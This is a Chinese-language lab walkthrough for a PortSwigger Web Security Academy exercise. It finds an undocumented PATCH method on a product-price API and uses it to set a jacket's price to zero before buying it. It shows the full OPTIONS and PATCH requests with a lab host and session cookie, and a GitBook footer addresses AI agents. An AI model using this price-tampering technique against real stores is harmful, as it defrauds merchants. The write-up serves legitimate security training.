> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md). # 未使用 API 端点的发现与利用面向 PortSwigger Web Security Academy 实验室的未使用 API 端点的发现与利用笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。 ### 发现并利用未使用的 API 端点本实验的目标是操作一个隐藏的 API 端点来购买一件 **轻量级 l33t 皮夹克** 而账户资金不足。/ 验证使用以下凭据完成： * **用户**：wiener * **密码**：peter 登录后，账户余额为 **$**.

#### 应用行为分析在查看产品时，应用会在后台发送一个 API 请求来获取其价格。

**用于显示价格的请求** ```bash GET /api/products/1/price ``` **服务器响应** {% code overflow="wrap" %} ```json { "price":"$1337.00", "message":"🔥 库存还剩 21 件，尽快购买！ 🔥" } ``` {% endcode %}

#### 识别可用的 HTTP 方法一个 **OPTIONS** 发送请求以识别此端点允许的方法。 **OPTIONS 请求** ```bash OPTIONS /api/products/1/price ``` **答案** 服务器表明允许以下方法： * GET * PATCH

这表明可以 **修改** 通过 PATCH 请求修改该产品的价格。 #### 通过 PATCH 修改价格然后我们尝试通过发送带有 JSON 主体的 PATCH 请求来更新产品价格。 **PATCH 请求** ```http PATCH /api/products/1/price Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol Content-Type: application/json Content-Length: 22 { "price": "0 } ``` **服务器响应** ```http HTTP/2 200 OK Content-Type: application/json; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 17 { "price":"$0.00" } ```

产品价格现在设为 **$**.

#### 购买产品一旦价格更改，就可以购买 **轻量级 l33t 皮夹克** 即使账户中没有余额，这也使实验可以通过验证。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.